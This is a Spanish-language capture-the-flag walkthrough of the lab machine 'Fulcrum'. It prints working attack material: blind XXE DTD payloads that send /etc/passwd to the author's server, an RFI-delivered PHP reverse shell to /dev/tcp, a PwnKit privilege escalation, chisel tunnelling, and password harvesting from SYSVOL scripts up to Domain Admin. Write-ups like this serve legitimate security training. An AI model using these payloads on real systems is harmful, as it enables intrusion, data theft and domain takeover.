Enumeración
Iniciamos la máquina escaneando los puertos de la máquina con nmap donde encontramos varios puertos abiertos, y la mayoria parece corren un servicio web
❯ nmap 10.10.10.62
Nmap scan report for 10.10.10.62
PORT STATE SERVICE
4/tcp open unknown
22/tcp open ssh
80/tcp open http
88/tcp open kerberos-sec
9999/tcp open abyss
56423/tcp open unknown
Solo por comodidad agregaremos el dominio fulcrum.htb para no apuntar a la ip
❯ echo "10.10.10.62 fulcrum.htb" | sudo tee -a /etc/hosts
Al abrir la pagina web del puerto 80 nos devuelve un error, lo interesante es si miramos el final de la pagina podemos ver Microsoft .NET Framework 2.0
El puerto 88 corre un phpMyAdmin pero sin credenciales validas de poco nos sirve
En el puerto 9999 podemos ver exactamente lo mismo que al inicio en el puerto 80
El puerto 4 nos dice que esta bajo mantenimiento y solo muestra un boton try again
Al darle a try again nos redirige a ?page=home, podriamos pensar en un LFI sin embargo despues de probar bastante con este puerto no llegamos a nada
Si vamos al puerto 56423 podemos ver que nos devuelve un json con una etiqueta Heartbeat que como valor tiene una etiqueta Ping que como valor tiene Pong
Podriamos intentar enviar la respuesta en json como input y ver si cambia algo
{"Heartbeat":{"Ping":"Pong"}}
Si se refleja el valor Pong podriamos intentar cambiarlo por Ping, sin embargo al hacerlo no funciona y recibimos la misma respuesta por parte del servidor
{"Heartbeat":{"Ping":"Ping"}}
Despues de probar diferentes cosas al cambiar el json a una data en xml y enviar Ping como valor de la etiqueta Ping esta vez si se representa en la respuesta
<Heartbeat><Ping>Ping</Ping></Heartbeat>
Shell - www-data
Sabemos que nos interpreta xml, despues de probar varios XXE no llegamos a nada reflejado en la respuesta, sin embargo podemos explotarlo blind, para esto en el DOCTYPE apuntaremos a una direccion con un dtd que es nuestro servidor
<!DOCTYPE replace SYSTEM "http://10.10.14.10/pwned.dtd">
<data>&send;</data>
Al enviar esta data recibimos una petición en nuestro servidor al archivo pwned.dtd
❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.62 - - code 404, message File not found
10.10.10.62 - - "GET /pwned.dtd HTTP/1.0" 404 -
Ahora crearemos el pwned.dtd, para inciar definimos una entidad llamada file la cual valdra el archivo /etc/passwd en base64 ya que usaremos wrappers de php, despues de ello definimos una entidad pwned la cual se encargara de enviar el valor de file como peticion a nuestro servidor mediante el parametro ?file=
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % pwned "<!ENTITY send SYSTEM 'http://10.10.14.10/?file=%file;'>">
%pwned;
Enviamos de nuevo la petición y al cargar el pwned.dtd e interpretarlo nos envia el contenido del archivo /etc/passwd como peticion GET a nuestro servidor
❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.62 - - "GET /pwned.dtd HTTP/1.0" 200 -
10.10.10.62 - - "GET /?file=cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovdmFyL3J1bi9pcmNkOi91c3Ivc2Jpbi9ub2xvZ2luCmduYXRzOng6NDE6NDE6R25hdHMgQnVnLVJlcG9ydGluZyBTeXN0ZW0gKGFkbWluKTovdmFyL2xpYi9nbmF0czovdXNyL3NiaW4vbm9sb2dpbgpub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtbmV0d29yazp4OjEwMDoxMDI6c3lzdGVtZCBOZXR3b3JrIE1hbmFnZW1lbnQsLCw6L3J1bi9zeXN0ZW1kOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtcmVzb2x2ZTp4OjEwMToxMDM6c3lzdGVtZCBSZXNvbHZlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4Kc3lzdGVtZC10aW1lc3luYzp4OjEwMjoxMDQ6c3lzdGVtZCBUaW1lIFN5bmNocm9uaXphdGlvbiwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4KbWVzc2FnZWJ1czp4OjEwMzoxMDY6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpzeXNsb2c6eDoxMDQ6MTEwOjovaG9tZS9zeXNsb2c6L3Vzci9zYmluL25vbG9naW4KX2FwdDp4OjEwNTo2NTUzNDo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnRzczp4OjEwNjoxMTE6VFBNIHNvZnR3YXJlIHN0YWNrLCwsOi92YXIvbGliL3RwbTovYmluL2ZhbHNlCnV1aWRkOng6MTA3OjExMjo6L3J1bi91dWlkZDovdXNyL3NiaW4vbm9sb2dpbgp0Y3BkdW1wOng6MTA4OjExMzo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCmxhbmRzY2FwZTp4OjEwOToxMTU6Oi92YXIvbGliL2xhbmRzY2FwZTovdXNyL3NiaW4vbm9sb2dpbgpwb2xsaW5hdGU6eDoxMTA6MTo6L3Zhci9jYWNoZS9wb2xsaW5hdGU6L2Jpbi9mYWxzZQpzc2hkOng6MTExOjY1NTM0OjovcnVuL3NzaGQ6L3Vzci9zYmluL25vbG9naW4Kc3lzdGVtZC1jb3JlZHVtcDp4Ojk5OTo5OTk6c3lzdGVtZCBDb3JlIER1bXBlcjovOi91c3Ivc2Jpbi9ub2xvZ2luCmx4ZDp4Ojk5ODoxMDA6Oi92YXIvc25hcC9seGQvY29tbW9uL2x4ZDovYmluL2ZhbHNlCnVzYm11eDp4OjExMjo0Njp1c2JtdXggZGFlbW9uLCwsOi92YXIvbGliL3VzYm11eDovdXNyL3NiaW4vbm9sb2dpbgpkbnNtYXNxOng6MTEzOjY1NTM0OmRuc21hc3EsLCw6L3Zhci9saWIvbWlzYzovdXNyL3NiaW4vbm9sb2dpbgpsaWJ2aXJ0LXFlbXU6eDo2NDA1NToxMDg6TGlidmlydCBRZW11LCwsOi92YXIvbGliL2xpYnZpcnQ6L3Vzci9zYmluL25vbG9naW4KbGlidmlydC1kbnNtYXNxOng6MTE0OjEyMDpMaWJ2aXJ0IERuc21hc3EsLCw6L3Zhci9saWIvbGlidmlydC9kbnNtYXNxOi91c3Ivc2Jpbi9ub2xvZ2luCg== HTTP/1.0" 200 -
Al decodear la data en base64 podemos ver el archivo /etc/passwd completo
❯ base64 -d data.b64
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
dnsmasq:x:113:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
libvirt-qemu:x:64055:108:Libvirt Qemu,,,:/var/lib/libvirt:/usr/sbin/nologin
libvirt-dnsmasq:x:114:120:Libvirt Dnsmasq,,,:/var/lib/libvirt/dnsmasq:/usr/sbin/nologin
Podemos leer archivos, aunque no podemos cargar el config de nginx podemos intentar adivinar el nombre del directorio donde esta la web que nos devuelve el json, al probar con api logramos cargar el index en /var/www/api/index.php
<?php
header('Content-Type:application/json;charset=utf-8');
header('Server: Fulcrum-API Beta');
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile,LIBXML_NOENT|LIBXML_DTDLOAD);
$input = simplexml_import_dom($dom);
$output = $input->Ping;
//check if ok
if($output == "Ping")
{
$data = array('Heartbeat' => array('Ping' => "Ping"));
}else{
$data = array('Heartbeat' => array('Ping' => "Pong"));
}
echo json_encode($data);
?>
Tambien podemos cargar el index del puerto 4 que se encuentra en /var/www/uploads/index.php, ahora podemos ver la razon por la que el LFI no funcionaba y es que si la direccion es diferente a 127.0.0.1 no usa include
<?php
if($_SERVER['REMOTE_ADDR'] != "127.0.0.1")
{
echo "<h1>Under Maintance</h1><p>Please <a href=\"http://" . $_SERVER['SERVER_ADDR'] . ":4/index.php?page=home\">try again</a> later.</p>";
}else{
$inc = $_REQUEST["page"];
include($inc.".php");
}
?>
Sin embargo podemos conseguir un SSRF ya que si desde el XXE apuntamos al puerto 4 el filtro para que la ip sea 127.0.0.1 hara un include de lo que le pasemos, probemos aplicar un RFI apuntando a un archivo pwned de nuestro servidor
<!DOCTYPE replace SYSTEM "http://127.0.0.1:4/?page=http://10.10.14.10/pwned">
Al enviar el XML y cargando RFI que apunta en nuestro servidor a un archivo pwned recibimos una peticion al archivo pwned.php ya que adjunta la string .php
❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.62 - - code 404, message File not found
10.10.10.62 - - "GET /pwned.php HTTP/1.0" 404 -
Creamos el archivo pwned.php el cual mediante system enviara un simple ping a nuestro host, al enviar recibimos la petición a pwned.php y nos llega el ping
<?php
system("ping -c1 10.10.14.10");
?>
❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.62 - - "GET /pwned.php HTTP/1.0" 200 -
❯ sudo tcpdump -i tun0 -n icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
IP 10.10.14.10 > 10.10.10.62: ICMP echo request, id 53825, seq 1, length 64
IP 10.10.10.62 > 10.10.10.62: ICMP echo reply, id 53825, seq 1, length 64
IP 10.10.10.62 > 10.10.10.62: ICMP echo request, id 1, seq 1, length 64
IP 10.10.14.10 > 10.10.10.62: ICMP echo reply, id 1, seq 1, length 64
Ejecutamos comandos, basta con cambiar el ping por una revshell y es asi como mediante el SSRF que conseguimos a traves del XXE conseguimos cargar un archivo php aprovechando un RFI y conseguimos una shell como www-data
<?php
system("bash -c 'bash -i >& /dev/tcp/10.10.14.10/443 0>&1'");
?>
❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.10.62
www-data@fulcrum:~/uploads$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@fulcrum:~/uploads$ hostname -I
10.10.10.62 192.168.122.1
www-data@fulcrum:~/uploads$
Shell - root
Aunque es innecesario y ni siquiera es una via intencionada al listar binarios con privilegios suid nos encontramos con el ya bastante famoso pkexec
www-data@fulcrum:~$ find / -perm -u+s 2>/dev/null | grep -v snap
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/spice-gtk/spice-client-glib-usb-acl-helper
/usr/bin/mount
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/passwd
/usr/bin/fusermount
/usr/bin/chsh
/usr/bin/at
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/su
www-data@fulcrum:~$ ls -l /usr/bin/pkexec
-rwsr-xr-x 1 root root 31032 May 26 2021 /usr/bin/pkexec
www-data@fulcrum:~$
Podemos usar un exploit para explotar el famoso pwnkit y nos convertimos en root
www-data@fulcrum:/tmp$ python3 CVE-2021-4034.py
[+] Creating shared library for exploit code.
[+] Calling execve()
# bash
root@fulcrum:~# id
uid=0(root) gid=0(root) groups=0(root)
root@fulcrum:~# hostname -I
10.10.10.62 192.168.122.1
root@fulcrum:~# ls
msrs.sh snap
root@fulcrum:~#
Shell - webuser
Tenemos otra interfaz y es la 192.168.122.1 subiendo un binario estatico de nmap podemos escanear los hosts activos en este segmento de red, y aparece otro
www-data@fulcrum:/tmp$ ./nmap -sn 192.168.122.0/24 -oG -
Host: 192.168.122.1 () Status: Up
Host: 192.168.122.228 () Status: Up
www-data@fulcrum:/tmp$
El host 192.168.122.228 esta activo, al hacerle un ping nos responde con un ttl de 128 basandonos en ello es bastante probable que sea una maquina windows
www-data@fulcrum:/tmp$ ping -c1 -w1 192.168.122.228
PING 192.168.122.228 (192.168.122.228) 56(84) bytes of data.
64 bytes from 192.168.122.228: icmp_seq=1 ttl=128 time=0.535 ms
--- 192.168.122.228 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.535/0.535/0.535/0.000 ms
www-data@fulcrum:/tmp$
Si escaneamos los puertos de este host aparecen 2, el 80 que puede que sea un servicio web y el 5985 que muy probablemente sea el servicio de winrm
www-data@fulcrum:/tmp$ ./nmap -Pn -n 192.168.122.228
Nmap scan report for 192.168.122.228
PORT STATE SERVICE
80/tcp open http
5985/tcp open unknown
www-data@fulcrum:/tmp$
Usando chisel crearemos un proxy socks en el puerto 1080 para asi tener conexion
www-data@fulcrum:/tmp$ ./chisel client 10.10.14.10:9999 R:socks &
[1] 3755
www-data@fulcrum:/tmp$
❯ chisel server --reverse --port 9999
server: Reverse tunnelling enabled
server: Listening on http://0.0.0.0:9999
server: session#2: tun: proxy#R:127.0.0.1:1080=>socks: Listening
Si abrimos la pagina web del puerto 80 pasando por el proxy lo unico que encontramos es la pagina de .NET que veiamos en el puerto 80 y 9999
Volviendo al directorio /var/www/uploads donde recibimos la shell podemos encontrarnos con un script en powershell el cual define la credencial de webuser
www-data@fulcrum:~/uploads$ ls
Fulcrum_Upload_to_Corp.ps1 home.php index.php upload.php
www-data@fulcrum:~/uploads$ cat Fulcrum_Upload_to_Corp.ps1
# TODO: Forward the PowerShell remoting port to the external interface
# Password is now encrypted \o/
$1 = 'WebUser'
$2 = '77,52,110,103,63,109,63,110,116,80,97,53,53,77,52,110,103,63,109,63,110,116,80,97,53,53,48,48,48,48,48,48' -split ','
$3 = '76492d1116743f0423413b16050a5345MgB8AEQAVABpAHoAWgBvAFUALwBXAHEAcABKAFoAQQBNAGEARgArAGYAVgBGAGcAPQA9AHwAOQAwADgANwAxADIAZgA1ADgANwBiADIAYQBjADgAZQAzAGYAOQBkADgANQAzADcAMQA3AGYAOQBhADMAZQAxAGQAYwA2AGIANQA3ADUAYQA1ADUAMwA2ADgAMgBmADUAZgA3AGQAMwA4AGQAOAA2ADIAMgAzAGIAYgAxADMANAA='
$4 = $3 | ConvertTo-SecureString -key $2
$5 = New-Object System.Management.Automation.PSCredential ($1, $4)
Invoke-Command -Computer upload.fulcrum.local -Credential $5 -File Data.ps1
www-data@fulcrum:~/uploads$
Podemos abrir una pwshs y ejecutar hasta donde define la variable $5 que contiene la credencial, simplemente usando .GetNetworkCredential() podemos leer los campos UserName y Password de la credencial del usuario WebUser
❯ pwsh
PowerShell 7.2.6
Copyright (c) Microsoft Corporation.
https://aka.ms/powershell
Type 'help' to get help.
PS /home/kali> $1 = 'WebUser'
PS /home/kali> $2 = '77,52,110,103,63,109,63,110,116,80,97,53,53,77,52,110,103,63,109,63,110,116,80,97,53,53,48,48,48,48,48,48' -split ','
PS /home/kali> $3 = '76492d1116743f0423413b16050a5345MgB8AEQAVABpAHoAWgBvAFUALwBXAHEAcABKAFoAQQBNAGEARgArAGYAVgBGAGcAPQA9AHwAOQAwADgANwAxADIAZgA1ADgANwBiADIAYQBjADgAZQAzAGYAOQBkADgANQAzADcAMQA3AGYAOQBhADMAZQAxAGQAYwA2AGIANQA3ADUAYQA1ADUAMwA2ADgAMgBmADUAZgA3AGQAMwA4AGQAOAA2ADIAMgAzAGIAYgAxADMANAA='
PS /home/kali> $4 = $3 | ConvertTo-SecureString -key $2
PS /home/kali> $5 = New-Object System.Management.Automation.PSCredential ($1, $4)
PS /home/kali> $5.GetNetworkCredential() | Select UserName,Password
UserName Password
-------- --------
WebUser M4ng£m£ntPa55
PS /home/kali>
A traves del proxy tenemos conexion con el puerto 5985 asi que con evil-winrm podemos autenticarnos como WebUser y obtener una powershell en la maquina
❯ proxychains -q evil-winrm -i 192.168.122.228 -u WebUser -p M4ng£m£ntPa55
PS C:\Users\WebUser\Documents> whoami
webserver\webuser
PS C:\Users\WebUser\Documents>
Shell - btables
Sabemos que corre una pagina web, en el directorio donde esta se aloja podemos ver un archivo web.config que contiene las credenciales del usuario ldap
PS C:\inetpub\wwwroot> dir
Directory: C:\inetpub\wwwroot
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 5/8/2022 2:46 AM 703 iisstart.htm
-a---- 5/8/2022 2:46 AM 99710 iisstart.png
-a---- 2/12/2022 11:42 PM 5252 index.htm
-a---- 2/12/2022 11:42 PM 1280 web.config
PS C:\inetpub\wwwroot> type web.config
<?xml version="1.0" encoding="UTF-8"?>
<configuration xmlns="http://schemas.microsoft.com/.NetConfiguration/v2.0">
<appSettings />
<connectionStrings>
<add connectionString="LDAP://dc.fulcrum.local/OU=People,DC=fulcrum,DC=local" name="ADServices" />
</connectionStrings>
<system.web>
<membership defaultProvider="ADProvider">
<providers>
<add name="ADProvider" type="System.Web.Security.ActiveDirectoryMembershipProvider, System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" connectionStringName="ADConnString" connectionUsername="FULCRUM\LDAP" connectionPassword="PasswordForSearching123!" attributeMapUsername="SAMAccountName" />
</providers>
</membership>
</system.web>
<system.webServer>
<httpProtocol>
<customHeaders>
<clear />
</customHeaders>
</httpProtocol>
<defaultDocument>
<files>
<clear />
<add value="Default.asp" />
<add value="Default.htm" />
<add value="index.htm" />
<add value="index.html" />
<add value="iisstart.htm" />
</files>
</defaultDocument>
</system.webServer>
</configuration>
PS C:\inetpub\wwwroot>
Vamos a enumerar un poco el dominio a traves de ldap pero para facilitar la enumeracion subimos el modulo PowerView.ps1 y lo importamos en powershell
PS C:\ProgramData> upload PowerView.ps1
Info: Uploading PowerView.ps1 to C:\ProgramData\PowerView.ps1
Data: 1027036 bytes of 1027036 bytes copied
Info: Upload successful!
PS C:\ProgramData> Import-Module .\PowerView.ps1
PS C:\ProgramData>
Iniciamos definiendo la credencial de ldap en un formato que le guste a powershell
PS C:\ProgramData> $SecPassword = ConvertTo-SecureString 'PasswordForSearching123!' -AsPlainText -Force
PS C:\ProgramData> $Cred = New-Object System.Management.Automation.PSCredential('fulcrum.local\ldap', $SecPassword)
PS C:\ProgramData>
Al enumerar a los usuarios del dominio encontramos algo interesante, y es que el usuario BTables en el campo Info tiene lo que parece ser una contraseña
PS C:\ProgramData> Get-DomainUser -Credential $Cred -DomainController dc.fulcrum.local | Select Name,Info
name Info
---- ----
Administrator
Guest
krbtgt
ldap
923a
BTables Password set to ++FileServerLogon12345++
PS C:\ProgramData>
Listando los equipos que pertenecen al dominio solo encontramos 2 existentes, FILE que es un equipo aparte y el otro es el propio DC o controlador de dominio
PS C:\ProgramData> Get-DomainComputer -Credential $Cred -DomainController dc.fulcrum.local | Select DNSHostname
dnshostname
-----------
DC.fulcrum.local
FILE.fulcrum.local
PS C:\ProgramData>
Tenemos la contraseña del usuario BTables, definimos su credencial y a través de Invoke-Command podemos ejecutar comandos en FILE como y leer la flag
PS C:\ProgramData> $SecPassword = ConvertTo-SecureString '++FileServerLogon12345++' -AsPlainText -Force
PS C:\ProgramData> $Cred = New-Object System.Management.Automation.PSCredential('fulcrum.local\BTables', $SecPassword)
PS C:\ProgramData> Invoke-Command -ComputerName file.fulcrum.local -Credential $Cred -Command { whoami }
fulcrum\btables
PS C:\ProgramData> Invoke-Command -ComputerName file.fulcrum.local -Credential $Cred -Command { type ..\Desktop\user.txt }
fce**************************af4
PS C:\ProgramData>
Sin embargo es un poco incomodo asi que con chisel crearemos un nuevo proxy para tener conexion ahora hacia todos los equipos que pertenecen al dominio
PS C:\ProgramData> upload chisel.exe
Info: Uploading chisel.exe to C:\ProgramData\chisel.exe
Data: 11569152 bytes of 11569152 bytes copied
Info: Upload successful!
PS C:\ProgramData> .\chisel client 10.10.14.10:8888 R:socks
PS C:\ProgramData>
❯ chisel server --reverse --port 8888
server: Reverse tunnelling enabled
server: Listening on http://0.0.0.0:8888
server: session#2: tun: proxy#R:127.0.0.1:1080=>socks: Listening
Finalmente a través de proxychains como el usuaro BTables nos podemos conectar al servicio winrm corriendo en el equipo FILE y obtener una powershell
❯ proxychains -q evil-winrm -i file.fulcrum.local -u BTables -p ++FileServerLogon12345++
PS C:\Users\BTables\Documents> whoami
fulcrum\btables
PS C:\Users\BTables\Documents> type ..\Desktop\user.txt
fce**************************af4
PS C:\Users\BTables\Documents>
Shell - 923a
Usando crackmapexec con las credenciales de BTables hacia el DC podemos listar los recursos SMB compartidos, vemos privilegios lectura o READ en 3 de ellos
❯ proxychains -q crackmapexec smb dc.fulcrum.local -u BTables -p ++FileServerLogon12345++ --shares
SMB dc.fulcrum.local 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:fulcrum.local) (signing:True) (SMBv1:False)
SMB dc.fulcrum.local 445 DC [+] fulcrum.local\BTables:++FileServerLogon12345++
SMB dc.fulcrum.local 445 DC [+] Enumerated shares
SMB dc.fulcrum.local 445 DC Share Permissions Remark
SMB dc.fulcrum.local 445 DC ----- ----------- ------
SMB dc.fulcrum.local 445 DC ADMIN$ Remote Admin
SMB dc.fulcrum.local 445 DC C$ Default share
SMB dc.fulcrum.local 445 DC IPC$ READ Remote IPC
SMB dc.fulcrum.local 445 DC NETLOGON READ Logon server share
SMB dc.fulcrum.local 445 DC SYSVOL READ Logon server share
Aunque esto tambien podemos hacerlo desde la powershell de BTables usando net
PS C:\Users\BTables\Documents> net use \\dc.fulcrum.local /user:fulcrum.local\BTables ++FileServerLogon12345++
The command completed successfully.
PS C:\Users\BTables\Documents> net view \\dc.fulcrum.local /all
Shared resources at \\dc.fulcrum.local
Share name Type Used as Comment
-------------------------------------------------------------------------------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC (UNC) Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
The command completed successfully.
PS C:\Users\BTables\Documents>
Navegando un poco por los directorios del recurso compartido SYSVOL llegamos a un directorio el cual contiene varios archivos que son scripts ps1 de powershell
PS C:\Users\BTables\Documents> dir \\dc.fulcrum.local\SYSVOL
Directory: \\dc.fulcrum.local\SYSVOL
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----l 5/7/2022 11:52 PM fulcrum.local
PS C:\Users\BTables\Documents> dir \\dc.fulcrum.local\SYSVOL\fulcrum.local
Directory: \\dc.fulcrum.local\SYSVOL\fulcrum.local
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/7/2022 11:52 PM Policies
d----- 5/7/2022 11:52 PM scripts
PS C:\Users\BTables\Documents> dir \\dc.fulcrum.local\SYSVOL\fulcrum.local\Scripts
Directory: \\dc.fulcrum.local\SYSVOL\fulcrum.local\Scripts
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 2/12/2022 10:34 PM 340 00034421-648d-4835-9b23-c0d315d71ba3.ps1
-a---- 2/12/2022 10:34 PM 340 0003ed3b-31a9-4d8f-a152-a234ecb522d4.ps1
-a---- 2/12/2022 10:34 PM 340 0010183b-2f84-4d4a-9490-b5ae922e3ba1.ps1
.........................................................................................
-a---- 2/12/2022 11:06 PM 340 f5b83c5e-82a9-4316-ba06-3e3d12bfa671.ps1
-a---- 2/12/2022 11:06 PM 340 f858d01c-7f92-42e0-b165-cb214d839e26.ps1
-a---- 2/12/2022 11:06 PM 340 f9892933-e24b-4211-8a77-d41a2940acd4.ps1
PS C:\Users\BTables\Documents>
Cada uno de estos scripts contiene credenciales de diferentes usuarios del dominio
PS C:\Users\BTables\Documents> type \\dc.fulcrum.local\SYSVOL\fulcrum.local\Scripts\00034421-648d-4835-9b23-c0d315d71ba3.ps1
# Map network drive v1.0
$User = 'be36'
$Pass = '@fulcrum_43bd6d26c168_$' | ConvertTo-SecureString -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential ($User, $Pass)
New-PSDrive -Name '\\file.fulcrum.local\global\' -PSProvider FileSystem -Root '\\file.fulcrum.local\global\' -Persist -Credential $Cred
PS C:\Users\BTables\Documents>
Al buscar una string que contenga el usuario Administrator esperando poder ver su contraseña en texto plano no encontramos ninguna coindidencia en los scripts
PS C:\Users\BTables\Documents> Select-String 'Administrator' \\dc.fulcrum.local\SYSVOL\fulcrum.local\Scripts\*
PS C:\Users\BTables\Documents>
Sin embargo existen mas usuarios por ejemplo 923a que es parte de Domain Admins
PS C:\Users\BTables\Documents> net user 923a /domain | Select-String Group
Local Group Memberships
Global Group memberships *Domain Admins *Domain Users
PS C:\Users\BTables\Documents>
Si buscamos por el usuario la string 923a encontramos un archivo donde esta su usuario, este tambien contiene una contraseña que probablemente sea la suya
PS C:\Users\BTables\Documents> Select-String '923a' \\dc.fulcrum.local\SYSVOL\fulcrum.local\Scripts\*
\\dc.fulcrum.local\SYSVOL\fulcrum.local\Scripts\3807dacb-db2a-4627-b2a3-123d048590e7.ps1:3:$Pass = '@fulcrum_df0923a7ca40_$' | ConvertTo-SecureString -AsPlainText -Force
\\dc.fulcrum.local\SYSVOL\fulcrum.local\Scripts\a1a41e90-147b-44c9-97d7-c9abb5ec0e2a.ps1:2:$User = '923a'
PS C:\Users\BTables\Documents> type \\dc.fulcrum.local\SYSVOL\fulcrum.local\Scripts\a1a41e90-147b-44c9-97d7-c9abb5ec0e2a.ps1
# Map network drive v1.0
$User = '923a'
$Pass = '@fulcrum_bf392748ef4e_$' | ConvertTo-SecureString -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential ($User, $Pass)
New-PSDrive -Name '\\file.fulcrum.local\global\' -PSProvider FileSystem -Root '\\file.fulcrum.local\global\' -Persist -Credential $Cred
PS C:\Users\BTables\Documents>
Comprobamos las credenciales de 923a con crackmapexec y nos devuelve Pwn3d!
❯ proxychains -q crackmapexec smb dc.fulcrum.local -u 923a -p @fulcrum_bf392748ef4e_$
SMB dc.fulcrum.local 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:fulcrum.local) (signing:True) (SMBv1:False)
SMB dc.fulcrum.local 445 DC [+] fulcrum.local\923a:@fulcrum_bf392748ef4e_$ (Pwn3d!)
Podemos conectarnos como este usuario con evil-winrm y leer la ultima flag de root
❯ proxychains -q evil-winrm -i dc.fulcrum.local -u 923a -p @fulcrum_bf392748ef4e_$
